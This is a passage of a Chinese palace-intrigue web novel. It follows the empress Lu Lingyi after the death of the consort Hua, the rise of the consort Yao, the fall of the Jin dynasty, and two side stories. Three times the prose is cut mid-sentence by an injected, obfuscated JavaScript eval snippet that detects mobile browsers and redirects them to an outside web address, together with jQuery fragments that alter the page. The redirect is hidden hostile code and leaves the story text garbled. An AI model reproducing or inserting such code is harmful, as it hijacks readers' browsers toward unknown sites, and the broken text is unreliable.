“我身边有内鬼，九成九是青禾，”刘烨百无聊赖的坐在草席上，草席很脏，但她已经不在乎了，毕竟一个将死之人，又怎么会在乎那么多。“我身边只有青禾一个贴身侍女，掌握了她就相当于掌握了我的动向，若说有人出卖了我，那就只有她了。” “你不恨？”卢令仪有些诧异，哪有人被卖了还这么平静的。 “不恨，因为我知道，你大概是威胁她了。”刘烨眼神平静“若论前途，我是宠妃，加之又信任她，她作为我身边的大宫女，跟着我的前途必然不错，哪怕是皇后娘娘，也很难开出让她心动的条件，毕竟皇后娘娘身边已经有亲信，哪怕她能在皇后娘娘身边做个掌事姑姑，也不如在我身边当亲信来的地位高。” “若论钱，实不相瞒，我没少给她，虽然我一个妃子家底不如皇后娘娘那么厚，但皇后娘娘也不可能掏空家底去收买一个宫女吧？” “利诱没办法，就只能威逼了。”刘烨耸耸肩“大概率是家人吧，我听说青禾的家人也是在权贵人家当奴才的，以皇后娘娘母家的势力，找个错处说要打杀了她的家人并不难。” 哪怕放在刘烨自己身上，她恐怕都会选择自己的家人而非才相识一年多的老板，毕竟老板死了一个还能换一个，爹妈死了可换不了。 “……是我小瞧了你，”卢令仪这会儿反倒冷静了下来“但凡你在朝中有些靠山，或许就连我也轻易动不得你。” 这一局，她虽然赢了，却不是赢在计谋，而是赢在家世，不过……掌事姑姑说的是对的，若不除华嫔，这人迟早会成为她的心腹大患。 “看在我没得罪过你的份上，能不能给我个痛快？” 刘烨不知道卢令仪在想什么，要是她知道了，肯定会吐槽，她只是电视剧看的多，能猜到普遍规律，要是让她亲自去结交权贵，那还是饶了她这个i人大学生吧。 “你自己选吧。”卢令仪退开一步，示意刘烨自己去看。 刘烨看到那些杀人工具就一阵牙疼，果然古代的效率就是低，最终她选了白绫，好歹上吊还比较快。 几分钟以后，刘烨挣扎着不动了，卢令仪命人将刘烨的身体抬下来，确认没气了以后又对后面的两个侍卫说道“把她抬出去葬了吧，好歹相识一场，别把人丢到乱葬岗，棺材和埋人的钱到我这里领。” 说罢，卢令仪便回了凤仪宫，她和华嫔原本没什么交情， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020371|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但不知是不是因为华嫔临死前说的那些疯话，她总觉得胸口闷闷的不太舒服，想躺在榻上休息一会儿，却不知不觉睡了过去。 “娘娘，娘娘？” 不知睡了多久，卢令仪听到有人在叫她，她缓缓睁开眼睛，眼神中亦有些迷茫。 “娘娘，太医来诊平安脉了，”掌事姑姑提醒道“您素日不喜王太医，今日太医院便换了个人给您诊脉。” “本宫知道了，”卢令仪起身更衣梳洗“让他进来吧。” 不多时，一个稍显年轻的太医低着头走进来，据掌事姑姑所说，这位年轻的刘太医是王太医的徒弟，年纪虽轻，医术却比他师父还强些。 “娘娘近来可有什么烦心事？”诊过脉以后，刘太医斟酌着说道“娘娘郁结于心，虽不算大事，但长此以往，也对身子有害。” “本宫知道了，”卢令仪摆摆手，她忽然问了一句“你师父确定华嫔怀有身孕吗？” “华嫔？”刘太医愣了一下才道“华嫔早些年落水伤了身子，不能生育，应当不会有孕吧？” “你说什么？！”卢令仪失手打翻了茶杯，茶杯落在地上，发出叮叮当当的脆响“此事你可确定？” “华嫔娘娘刚入宫的时候，陛下召了太医院的院正亲自为华嫔娘娘看诊，”刘太医犹豫的点点头“这件事是记录在太医院的档案里的，应到……没什么错处吧？” “你亲自去查这个档案，”卢令仪一字一顿的说道“若是你没看错，就把太医院院正请来，本宫有话要同他说。” 几天后，太医院院正如约而至，正如案中记载的那样，华嫔在遇见皇上之前的那个冬天落水冻坏了身子，能捡回一条命就算幸运，更别说生孩子了。 “娘娘，”太医院院正走后，掌事姑姑忧心忡忡的看着卢令仪“您也别太自责，毕竟院正只是说华嫔怀孕的可能性很小，也不是绝对不可能，万一……华嫔真的怀了呢？” “……也没什么，”卢令仪长叹一声“其实现在想想，我不过是猫哭耗子假慈悲罢了，我都已经把她给杀了，是对是错，她到底怀没怀，再追究也没什么意义了。” 就算华嫔真的怀孕了，她也是为了自己的孩子以后的路能走的平顺些把人给杀了，这样一想，华嫔怀孕或是没怀孕，又有何区别？ “娘娘，”掌事姑姑神情严肃“奴婢知道娘娘心软，但在这后宫之中，最容不下的就是心软！” 卢令仪沉默，最终还是点点头，开弓没有回头箭，事情已经到了这种地步，再心软，已经没用了。 “娘娘！”一个小太监急匆匆的跑进来跪在卢令仪面前“陛下召见，还请娘娘前去。” “本宫知道了，”卢令仪起身，顺便问了一句“都这个时候了，陛下召见本宫是有何事？” “陛下……”小太监吞吞吐吐，又看了一眼卢令仪的脸色才说道“陛下带回来一个女子，说要封她为嫔。” 49. 第11章 现在天色已晚，按理来说应该就寝，只是皇帝不睡，卢令仪这个做皇后的也只好兢兢业业的陪着，没办法，谁让他是皇帝呢？ 当卢令仪赶到的时候，已经有不少妃嫔到了，她环视一周，发现这架势可不比之前处死华嫔的时候小，难道又发生了什么大事不成？ “皇后，”坐在主位的皇帝看向她“你来了。” “臣妾见过皇上，不知陛下深夜召臣妾前来，是为何事？”卢令仪已经看到了那个站在皇帝身边的女人，毕竟这么多人中，只有那人是生面孔，打扮也与众不同，显眼的不得了。 “窈娘是朕带回来的，”皇帝牵起身边女人的手“她身世有些可怜，朕欲封她为窈嫔，你多照顾她些。” “臣妾自当尽心，”卢令仪抬头，微微打量了几眼窈娘“不知窈妹妹家住何处，家中可还有什么人？” 这窈娘不知是何来历，容貌极美极艳，身段婷婷袅袅，漂亮的让人移不开眼。 “奴家……”窈娘咬着下唇，欲言又止的看着卢令仪“奴家自幼失去双亲，与年迈的爷爷相依为命，爷爷病重，奴家只得去香音阁做事换钱替爷爷诊病。” “香音阁？”丽嫔嘴快，不假思索道“那不是青楼吗？” 卢令仪惊讶了一瞬，随后恍然，终于明白了这女子打扮奇怪在何处。 当下高门贵女时兴高髻，发型光滑一丝不苟，可窈娘却梳着垂髻，若出身民间，简单利落垂髻倒也很普遍，只是窈娘这垂髻松松散散，怎么看也不像能干活的样子，配合上她精致的眉眼，反倒显得楚楚可怜，如同被雨打落的红花。 这不是寻常女子的打扮，再结合丽嫔刚刚所说，窈娘大概率是舞女、乐女之流。 想到这儿，卢令仪不由得头疼起来，毕竟之前的华嫔虽出身民间，但好歹父母是农户，是良籍，而乐籍可是贱籍。 “这位姐姐，”窈娘在听到丽嫔的话以后，双眼含泪，却又故作坚强的说道“奴家虽身陷囹圄，却还是个清白的女儿家，姐姐怎么能这么说我？” “丽嫔！”皇帝动了怒，将茶杯丢向桌子“你不会说话就闭上嘴！” “陛下息怒，”卢令仪连忙打圆场“丽嫔不过是无心之失，陛下何必放在心上，只是窈妹妹的身世……不太好与朝臣交代，若直接封嫔，恐怕会引起非议，不如先让妹妹从官女子做起，再逐级册封，陛下觉得如何？” “哼，”皇帝冷哼一声，神色仍有些愤愤“这个你不用管，我打算将窈娘记在大将军名下，为将军养女，这样一来，即使是直接封嫔也没人说什么。” “这……”卢令仪露出为难的神情，委婉规劝“大将军为人谨慎，恐怕很难认下窈妹妹。” 大将军一生战功无数，为人清正，如今已至古稀之年，在朝中颇有威望，这样的老臣，晚年要认一个乐女为女儿，实在不妥。 “他不愿意认，总有人愿意。”皇帝很不耐烦的斜了卢令仪一眼“皇后，你以为华嫔的事，朕当真一点儿都不知道吗？” 卢令仪僵在原地，她沉默了很久才找回自己的声音“陛下说的是，窈妹妹如此天人之姿，定会有大人与窈妹妹有缘的。” 卢令仪没想瞒过皇上，实际上，华嫔那件事是一个阳谋，她成功让皇上对华嫔产生了厌恶，而一个被皇上厌恶，又没什么家世的女人，在宫中悄无声息的死掉也再正常不过。 她惊讶的是，皇上竟然会用这件事来堵她的嘴。 这不过是件小事，至少对皇上来说是件小事，难道新来的窈娘就这么得皇上喜欢，甚至不惜让皇上翻旧账来堵她的嘴？ 不管怎么说，窈娘最终还是以将军养女的身份进入后宫，成了窈嫔，原本以为没了华嫔自己就能得宠的丽嫔恨的咬牙切齿，私底下咒骂窈嫔的时候更是多不胜数。 “给皇后娘娘请安，丽嫔娘娘安。”窈嫔温顺的行了礼，微微抬头看向二人“皇后娘娘与丽嫔娘娘的关系真好，不像窈娘，自幼丧父丧母，也没有个兄弟姐妹陪着。” “……妹妹这可是在说姐姐冷落妹妹了，”丽嫔拿出帕子，眼泪一下子流了下来“妹妹这可就误会姐姐了，姐姐哪里是这般小心眼的人啊。” “丽嫔娘娘……”窈嫔退后几步，像是有些站不稳，她并没有哭，只是脸色苍白的扶着侍女“娘娘……就是这般想我的吗？” “行了！”卢令仪看着两人轮流演戏道歉深感心累，她直接说道“本宫乏了，你们若是想吵，出去吵就是，别在我这儿嚷嚷。” 丽嫔眼睛一亮，她知道卢令仪这么说就是不管事的意思，她进宫这么多年，除了皇后和上面几个资历深的妃嫔她不敢惹，剩下她怕过谁？ 卢令仪显然也看到了丽嫔的表情，但她现在无心理会这种小事，可她没想到，第二天一早，丽嫔就以冲撞皇上的理由被降为了丽贵人。 “这是怎么回事？”卢令仪皱着眉问她面前哭哭啼啼的丽贵人“昨天你到底做什么了？” “臣妾……臣妾也不知道啊，”丽贵人眼泪像断了线的珠子一样滚落，这回她可是真哭了“臣妾不过是和窈嫔吵了几句就回宫了，今日一早，陛下就下旨要降臣妾的位份，娘娘，臣妾冤枉啊！” “我去陛下那里帮你说一说，”卢令仪看向丽贵人“不过，君无戏言，即使陛下原谅你了，你这位份暂时也只能这样了。” 毕竟皇上今天下的圣旨，明天立刻就改了算什么事？丽贵人最近也的确闹的太过，让她安分些，未尝不是好事。 丽贵人见皇后也没办法，只好灰溜溜的回去，卢令仪想找皇上问问丽贵人的事，却没想到在太监这里碰了个软钉子。 “皇后娘娘，您先回吧，”太监满脸堆笑，看上去十分和善“窈嫔娘娘在里面伺候着，皇上目前不方便见娘娘。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025278|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“有什么不方便的？”卢令仪身后的掌事姑姑呵斥道“谁给你的胆子，皇后娘娘你也敢拦？” 话音未落，一阵调笑的声音从门内传来，卢令仪顿时黑了脸色，太监表情也有些讪讪，毕竟皇上和窈嫔青天白日的在御书房里……咳咳，总之他真不是故意要拦的。 “皇上有要事处理，我就不多打扰了，”卢令仪到底是皇后，虽心中不满，却还是点头道“只是劳烦公公稍后通报，说本宫来过。” “奴才省的。”太监点头哈腰的将卢令仪送走，这年头当人奴才真不容易，两面受气。 卢令仪原本以为因着丽贵人、御书房这两件事，皇上定会来找她，可一连几日，皇上丝毫没有过来的意思，只顾着和窈嫔寻欢作乐，连她这个正妻的颜面也不顾。 “娘娘，您吃些东西吧，”掌事姑姑端来一碗桂花酥酪放在卢令仪面前“若是您气坏了身子，二皇子可怎么办啊？” “……卢家那边怎么说？”卢令仪闭了闭干涩的眼睛，这个窈嫔可比之前的华嫔嚣张的多，仗着皇上的宠爱，窈嫔在宫里横行霸道，每次她想惩治窈嫔，皇上都来阻止，长此以往，她这个皇后还做不做了？ “老爷……”掌事姑姑小心翼翼的看着卢令仪的脸色“老爷说，要劝陛下选秀，让七小姐入宫。” 卢家七小姐是卢令仪的妹妹，年方十七，出落的亭亭玉立，还是京城有名的才女，卢家将她送入宫中想来也是抱着卢令仪当贤后，卢七小姐当宠妃的打算。 “添一个人进宫争宠，这就是卢家的办法？！”卢令仪冷笑一声“怎么，我父亲是觉得七妹妹进宫就能比我得宠了吗？” “娘娘息怒，”掌事姑姑连忙跪下“老爷也有老爷的难处，陛下执意要护着窈嫔那个狐媚子，老爷也没办法，只得……让七小姐过来帮娘娘。” 说到底，后宫毕竟是皇上的家事，虽然皇上的家事也是国事，臣子可以劝诫，但若皇上不听，那臣子也没办法，毕竟谁也不可能因为皇上宠谁不宠谁这点小事而得罪的皇上吧？ “我在嫁入东宫以前，学习琴棋书画、诗礼管家，再加上出身和相貌，所有人都说我是完美的皇后人选，”卢令仪闭着眼睛，没有去看跪在地上的掌事姑姑“我也的确成了皇后，虽不算名流千古的贤后，但也算将后宫打理的不错。” “娘娘……”掌事姑姑轻声唤着卢令仪，眼神中满是复杂。 “我本以为，我是正妻，何必在乎夫君的宠爱，我只要做事公道，管理好后宅，该有的体面自然就有了。”卢令仪苦涩的摇摇头“可惜我错了，现实根本不是这样的。” “在这后宫之中，皇上的喜欢才是理，皇上若是喜欢，没理也有理，皇上若是不喜，有理也没理，皇后再大，还能越过皇上去？我作为皇后，的确有管理六宫之权，可我的权利不过是皇上施舍的，若皇上不喜，皇后就没有任何权利。” 50. 第12章 恍惚间，卢令仪又想起了华嫔临死之前对她说过的话。 她说，权利只在男人之间流转，女人是不可能成为主角的。 当时的卢令仪还觉得这话听起来让人不舒服，她堂堂皇后，怎么也比一介贩夫走卒更有权利吧？ 现在想来，她错了，贩夫走卒尚能依靠自己的双手谋生，她贵为皇后，却只能依靠皇上的宠爱过活。 若这个世界真的有主角，那的确不可能是她，一个连自己都命运都无法掌控的人，又怎么能被称为主角？ 越是细想，卢令仪越觉得齿冷，她明明身处温暖如春的凤仪宫，却觉得一股寒气从地底窜进她的身体，冻得她遍体生寒。 皇室的颜面、世家的荣耀、尊贵的出身，这些对于女子来说到底算什么啊？ 皇室的颜面真的需要她这么一个连后宫都出不去的人维护吗？世家的荣耀真的需要她这个连科举都没法参加的人去撰写吗？尊贵的出身又给她带来了什么？从出生起就必须要将自己的每一寸血肉卖掉还给家族的巨额欠款吗？ 为什么……到底为什么，她为什么要拼命去维护这些男人们根本不在乎的小事，那她又算什么？家族的边角余料？因为太没用了所以家族把小事当大事教给她，并让她不惜任何代价去做男人眼里根本无关紧要的小事？！ 卢令仪忽然感觉自己胸口疼的厉害，她像是一瞬间想通了很多事，可想通了这些事以后她并没有觉得豁然开朗，相反的，她感觉到了无尽的痛苦。 女人们被限制在后宅之中，日复一日的做着毫无意义的工作，而男人随手丢下的点心渣都会引来一群女人的争抢，男人像是喂养着鸟雀的主人，既喂养，又禁锢，鸟雀们的相互残杀对他来说只不过是一场闹剧。 这种群体性的悲剧谁都躲不过，哪怕她贵为皇后，也不过是皇上无聊时豢养的鸟雀而已。 卢令仪呼吸急促，她想起了自己年幼的时候，父亲看她的眼神是那样骄傲，她那时想着，一定要做听话懂事的女儿，要让父亲以自己为荣。可现在想起来，父亲的满意到底是出于血浓于水的亲情，还是对即将到手国丈位置的渴望？ “娘娘……娘娘！” 卢令仪好像听到有人在叫她，可她太累了，身心俱疲，她只想好好睡一觉，什么都不用想，等醒来之后，一切都会好的。 卢令仪不知自己睡了多久，等她醒来的时候，凤仪宫已经燃起油灯，她想喊人，却发现自己嗓子沙哑的厉害，根本说不出话来。 “娘娘醒了！” 负责照顾她的宫女欢天喜地的通报，紧接着，卢令仪的贴身侍女进来将她扶起，给她倒了一杯温水，又关切的说道“娘娘，您刚刚忽然晕倒，可把奴婢给吓死了。” “……咳咳、什么时辰了？”卢令仪喝了两口水以后才感觉好了一些，她垂眸问道“太医怎么说？” “太医说娘娘是急火攻心，开了方子之后便走了。”贴身宫女小心翼翼的服侍着卢令仪，忍不住抱怨道“也不知那太医有什么急事，娘娘还没醒，他就走了，若是娘娘出了什么事，他担待的起吗？” “好了，”卢令仪知道自己这病是心病，哪怕太医开了药效果也有限“我晕倒的这段时间可还发生了什么？” “娘娘昏过去以后，凤仪宫上下一片混乱，掌事姑姑去求了皇上，这才把太医找来。”宫女一面说，一面将一碗黑乎乎的药端来“这会儿掌事姑姑不在，大约是去谢恩了吧。” “皇后，”宫女的话音未落，皇帝就大步流星的走了进来，他也不用卢令仪行礼，只坐在离她不远不近的榻上“朕听说你昏倒了，可是身子不适？” “不过是些小毛病，臣妾无事，让陛下担心了。”卢令仪面色惨白，脸上却仍旧维持着淡然的微笑。 “有一件事朕还没来得及说，”皇帝并未去看卢令仪，转而说起了旁的话题“窈嫔有孕，这件事你还不知道吧？” “窈嫔有孕？”卢令仪怔愣了一下，她没想到这么巧，“是什么时候的事？” “就在你晕倒前的一个时辰，”皇上瞥了一眼卢令仪，眼神别有深意“皇后啊，你我都不年轻了，年轻人不懂事，我们这个年纪要是再不懂事，那可就是德不配位了。” “臣妾明白。”卢令仪将药碗放在旁边，她又何尝不知皇上觉得是她故意晕倒争宠呢？“陛下找臣妾，应当不止这一件事吧？” “窈嫔有孕，宫中事多，你的身子又不好，不如将协理六宫的权力交给怡贵妃，你也好养一养身子。”皇上看上去很好说话，语气也随意，可卢令仪知道，皇上亲自过来告诉她，那就是通知，没有商量的余地。 “臣妾遵旨。”卢令仪垂首欲行礼，却被皇上扶起，看在她如此识趣的份上，皇帝又多待了一会儿，这对中年夫妻和大多数中年夫妻一样，对彼此无话可说，不到晚膳的时间，皇帝便起身离开。 “哎呦我的娘娘，”见皇帝离开，掌事姑姑立马扑了过来“娘娘，您怎么能让陛下就这么走了呢？这传出去多让您没脸啊！” “陛下不想给我脸面，难道我强留陛下用一次晚膳就能有脸面了吗？”卢令仪语气淡淡“姑姑，若是卢家提议要选秀的话，还是尽快吧，毕竟窈嫔怀孕了，这对卢家来说大不利。” “娘娘，”掌事姑姑打小服侍卢令仪，她察觉到了卢令仪的不对劲，小心翼翼的问道“娘娘可是因为陛下……?” “不是，”卢令仪笑笑“我只是看透了。” 她只是看透了，费尽心思得来的体面不过是一纸空谈，机关算尽为卢家抢夺的权力也用不到她自己身上去，这么多年，她也没少除掉宫里对她有威胁的妃子，现在想想，何必呢？ “对了，”卢令仪淡淡的瞥了掌事姑姑一眼“我之前生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029250|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二皇子时伤了身子，如今正病着，卢家那边的事，你也不用同我说，只要父亲同意就行。” 自打这件事以后，卢令仪就不怎么管后宫的争斗，只将所有事交给怡贵妃处理，可惜，树欲静而风不止，她不想找麻烦，麻烦却会主动找上门。 “皇后娘娘，”怀胎八月的窈嫔依旧美丽动人，她穿着一席水红色的宫装，像是被精心浇灌的花一样娇美“娘娘久病，臣妾之前因身子重并未来探望，不知皇后娘娘近日可好了些？” “比前阵子强些，但总归不比从前。”卢令仪眼神清明，她打量着窈嫔道“窈嫔，你若有事，尽管去找怡贵妃，本宫如今身子疲乏，恐怕没法为您做主。” “窈娘今日这事，只能由皇后娘娘解决。”窈嫔笑盈盈的握住卢令仪的双手，卢令仪暗道不好，刚想将窈嫔推开，窈嫔却如同断了线的风筝一般飞出去，肚子直直撞上桌角。 “快来人啊！”窈嫔带来的宫女发生了尖锐的叫喊“皇后娘娘把窈嫔娘娘推倒啦！” 这么一喊，可算是触动了整个皇宫的神经，太监、太医、宫女进进出出，不过一会儿，连皇上也脸色难看的过来了。 窈嫔的孩子最终还是没能保住，皇上对此大为震怒，将皇后禁足于凤仪宫，终身不得出。 卢氏出面，以皇后为二皇子亲母为由，请求皇上从轻发落，皇上不为所动，执意要将皇后囚禁，甚至有意废后，只是碍于卢氏颜面，才勉强作罢。 九月，窈嫔再次有孕，皇帝大喜，封窈嫔为窈妃。 次年，窈妃诞下三皇子，皇帝重之，亲自挂弓，同年皇后薨逝，卢氏疑其死因，却因无法验证，只得作罢。 三皇子年满十岁，皇帝不顾群臣反对欲封三皇子为太子，将二皇子封王并即刻命其前往封地，卢老死谏于朝堂之上，皇帝仍不为所动，老臣纷纷上奏折乞骸骨，一时间朝堂奸臣当道，局势动荡。 同年，王朝水旱灾害频发，朝臣贪墨救灾钱粮，大批流民无家可归。 五年之后，边境外族入侵，朝中竟无一领兵之人，皇帝无奈只得让八十余岁的大将军应战，岂料大将军年迈，刚至军营便倒地不起，军中士气低迷，此战大败。 之后几位领兵之人无一例外战败，皇帝大怒，御驾亲征，却为外族所虏，三皇子登基欲开城门，群臣这才发现，三皇子及其母窈妃乃是外族探子，三皇子也并非陛下亲生。 皇帝得知此事后吐血而亡，朝臣拥护二皇子登基，却仍未能抵挡外族铁骑，王城沦陷，王朝风雨飘摇，新皇不知所踪。 与此同时，一支由平民组成的起义军趁乱攻占王城，随后起义军越战越勇，打退外族，收复失地，旧氏族纷纷臣服。 五年之后，起义军首领登基称帝，改国号为华，自此以后，统治了中原六百年的晋朝彻底结束，而新的历史，也将在这片土地上延续。 51. 番外二则 刘烨番外 “刘烨……醒醒……刘烨！” 刘烨被骤然提高的音量吓的一哆嗦，她艰难的从桌子上起来，眼里有着将醒未醒的迷茫“我……还活着？” “你睡傻了吧？”死党何秋心没好气得瞥了她一眼“不是说好的一起去图书馆学习，你怎么到了图书馆就睡着了？怎么，昨晚熬夜打游戏了？” “我……”刘烨脑子清醒了一些，她想起来了，她不是什么华嫔，而是现代的一名大学生，今天她难得勤奋早起和朋友一起去图书馆学习“我好像做了一个很长很长的梦，梦里我成了皇帝的宠妃，然后就被杀了。” 何秋心听后乐不可支的揽住刘烨的肩膀，笑够了才说“行啊，你好歹也是嫁过皇帝了，怎么样？皇帝帅不帅？是不是长成你喜欢的明星那样？宫斗活过三集了没？” “你别闹，”刘烨把何秋心的手拿下去“这个梦真的特别真实，皇帝不帅，是个老大叔，我最后是被皇后给弄死了，她诬陷我和人私通。” “没想到你还有这种爱好，刺激！”何秋心仍旧没把刘烨说的话当回事，毕竟刘烨也就睡了几个小时而已，怎么可能真穿越了“怎么样？和你私通的是帅哥吗？” “我都说是被诬陷的了，虽然那小孩长的挺秀气的，但我怎么可能跟一个小孩谈恋爱。”刘烨感觉自己的身体有些僵硬，她站起来活动了两下，又看一眼时间“中午了，走吧，我们吃饭去。” “哎哎！你重饭轻友啊？”还在收拾东西的何秋心加快了脚步，跟上刘烨，两人一起有说有笑的去了食堂。 “早到食堂就是好，都没什么人。”何秋心看了一圈，找了个安静的位置拉着刘烨坐下“怎么了，一直心不在焉的，难道真被梦里的事吓到了不成？” “嗯，”刘烨含糊着应了一声“那个梦实在太真了，扰的我有点儿难受，心里乱七八糟的。” “别想那样烦心事了，要不你和我一起追剧吧。”何秋心打开平板，将耳机分给刘烨一只“喏，我男神的新剧，据说还是真实历史改编的，我还没看呢。” “这是……”刘烨看了一会儿，神情有些古怪“是晋朝和华朝交替的那段历史？” “是啊，”何秋心一边吃麻辣烫一边追剧，她眼睛都没动，顺嘴答道“毕竟这种乱世英雄美人的故事很吸引人啊，怎么了？” “没什么，”刘烨摇头，随后又说道“我也感觉这部剧不错，对了，这剧叫什么名字？回头我自己看。” “火华娘娘，”何秋心被辣的嘶哈嘶哈，声音有些含糊不清“我记得这部剧是小说改的，剧还没更完，你要是想知道后面的剧情可以先看小说。” “好，我知道了。”刘烨听到这部剧名的时候愣了一下，不知道她是不是想太多，她叫刘烨，而烨字拆开看不就是火华二字吗？ 发生了这样的事，刘烨下午也无心学习，她躺在宿舍的床上，点开了这本据说是根据真实历史改编的小说。 小说的内容很简短，大概讲述了一个才华横溢亡国妃嫔的悲剧故事。 这位作者文字功底扎实，写作的方法却很老派，在故事中，一位贵族的仆从偶然遇见了这位火华娘娘，在他的眼里，这位火华娘娘的一切都是如此的美好，可惜红颜薄命，当贵族仆从成为起义军首领，终于有能力去见那位白月光的时候，却得知火华娘娘早已在后宫争斗中殒命。 虽然这本书是以男性的视角展开，但看得出来，这位火华娘娘才是书的灵魂人物，反而是作为主角的贵族仆从，作者没有过多描写，只言片语便将这位从平民中起义的开国皇帝给掩盖了过去。 刘烨又看了几遍，但她越看，就越觉得不对劲。 一千年前的晋朝文物保留不多，文献更少，别说一位不知名的后妃了，就连皇后也只是提了一笔姓氏，可以说这个故事几乎是完全架空的。 但这本书中所写的故事，却与她的经历相差无几，包括她的名字、发明，她与一个侍从结交，她是被皇后害死的等等，难道这些东西也全都是巧合吗？ 刘烨觉得愈发糊涂，她之前在晋朝的时候觉得自己是穿越了，回到现代发现那只是一场梦，可不知怎的，忽又冒出个小说来，这又是怎么回事？ 刘烨怎么想也想不通，她在网上搜索了作者的微博，斟酌了很久才在私信中敲下一行字。 ‘你好，你的小说是根据真实历史改编的吗？那个火华娘娘有原型吗？还有，或许落款的火、华这两个字原本不是分开的，只是写的人不小心滴了墨水上去，才由一个字变成了两个字。’ 刘烨这段话多少有些试探的意思，毕竟知道她火华这个名字的，在晋朝只有两个人，一个是曾经背叛过她的宫女青禾，另一个，则是作者自己的角色，一个和她算是朋友的小侍从。 叮！ 微博提示有新消息，刘烨迟疑着点开，却发现在她之前打的文字后面，多了两句回复。 ‘华嫔娘娘，或许我们可以重新认识一下。’ ‘你好，我是小侍从，梁飞。’ * 辛西娅番外（世界和平版） 利奥已经记不清他在斗兽场待了多久，毕竟奴隶住的地方在斗兽场最底层，整日不见阳光，只有老鼠与他为伴。 有时候，利奥也会羡慕这些人人喊打的小东西，毕竟老鼠可以通过四通八达的下水道去往任何地方，而他只能被囚禁在这斗兽场进行无休无止的战斗，直到再也动弹不得。 门外传来哗啦啦的声响，那是铁链与铁索相互碰撞产生的，每当听到这种声音，利奥就知道自己即将迎来下一轮厮杀。 他用牙齿撕下一块破旧的床单包裹住自己的拳头，这么长时间的挣扎多少让他有了些经验，用相对干净的布包裹住伤口可以隔绝外界的脏污，在斗兽场，给奴隶看病可比买一个奴隶贵多了，伤口感染，对于奴隶来说相当于慢性死亡。 当他准备好了一切，打算跟着斗兽场管事上场的时候，他却发觉门外的脚步声有些不对，管事是个胖子，脚步声应该很重才对，可这次门外传来的脚步声分明很轻。 他立刻警惕起来，在斗兽场，忽然的变化可不是什么好事。 出乎他预料的，走进来的人是一个小女孩，小女孩大概十岁出头的模样，穿着一身华丽的公主裙，和这里的脏旧格格不入。 “你不要怕，”小女孩细声细气的安慰着眼前这个浑身戒备的少年“我是来救你的，你以后就不用住在这儿啦。” “你是……买下我的贵族小姐吗？”利奥紧盯着对方，他也听说过，贵族偶尔会买下斗兽场的奴隶取乐，可经常来斗兽场的又有什么好人，奴隶们不过是从一个火坑又跳到了另一个火坑之中罢了。 “不是，”辛西娅露出一个笑来，她走近几步，想要拍拍利奥的肩膀以示安慰，却发现双方身高差距过大，她哪怕抬起手都碰不到对方的肩。“斗兽场的奴隶是不合法的，这里的主人会受到惩罚，你现在是平民，你自由了。” “公主殿下！” 辛西娅身后的侍卫急忙拦在她前面，毕竟眼前这个少年奴隶虽然看着瘦削，却是斗兽场中活的最久的，公主殿下这小胳膊小腿，恐怕还不够人家一下子打的。 “没关系，要是不知道想要做什么，就先跟着我出去吧。”面对沉默寡言的利奥，辛西娅笑容依旧灿烂，她主动伸手握住利奥的手“走吧，不用怕，我带你出去。” 十七岁的少年身形还有些单薄，身高却已经与成人无异，尤其是利奥还很高，为了配合辛西娅的脚步，他只好一点一点挪动。 终于，他们来到了阳光明媚的地面上，利奥有些不适应的眯了眯眼睛，他也不是完全没来过这儿，只是每次他到这里的时候，总意味着轮到他表演与野兽搏斗供贵族们取乐。 而如今，高高的座椅上空无一人，傲慢的斗兽场主人正在卑躬屈膝的道歉，却仍逃不了被戴上枷锁押走的命运，很多和利奥一样的奴隶茫然的站在原地，似乎不敢相信自己获得了自由。 “我是赫瑟瑞五公主辛西娅，”辛西娅主动上前一步，将所有人的目光聚集在她身上“根据赫瑟瑞律法，你们不是奴隶，而是平民，斗兽场的人已经依照律法被关押，你们自由了！” 全场安静了几秒，紧接着便是欢呼声，被困在斗兽场中的奴隶最渴望的东西就这样轻易得到，任凭谁都会开心吧。 辛西娅也不由得笑了，笑着笑着，她转头看向旁边利奥，利奥并没有笑，只一直沉默的低着头。 “怎么了？”辛西娅身高不足，她只好伸手碰了碰利奥的手“没关系，如果你需要帮助的话，尽管说就是。” “我可不可以在您身边……”少年的心事险些脱口而出，他连忙收起后半句，小心翼翼的试探道“……当骑士？” “骑士的选拔很严格，如果我直接让你当骑士，就是对其他人不公平。”说到这儿，辛西娅神情严肃起来，她想了想说道“不过你可以先留在骑士团学习，等你能通过骑士考核，自然就成为骑士啦。” “……好，”利奥思考了半天才回道“我会成为一名骑士的。”为了离您更近一点。 时间一晃而逝，二十岁的青年站在最前面，能站在这个位置，说明他是以第一名的成绩考入骑士团，成为新晋骑士。 “你们好，”辛西娅微笑着朝新晋骑士微微颔首“能够成为骑士，说明你们都是百里挑一的人才，我很荣幸能 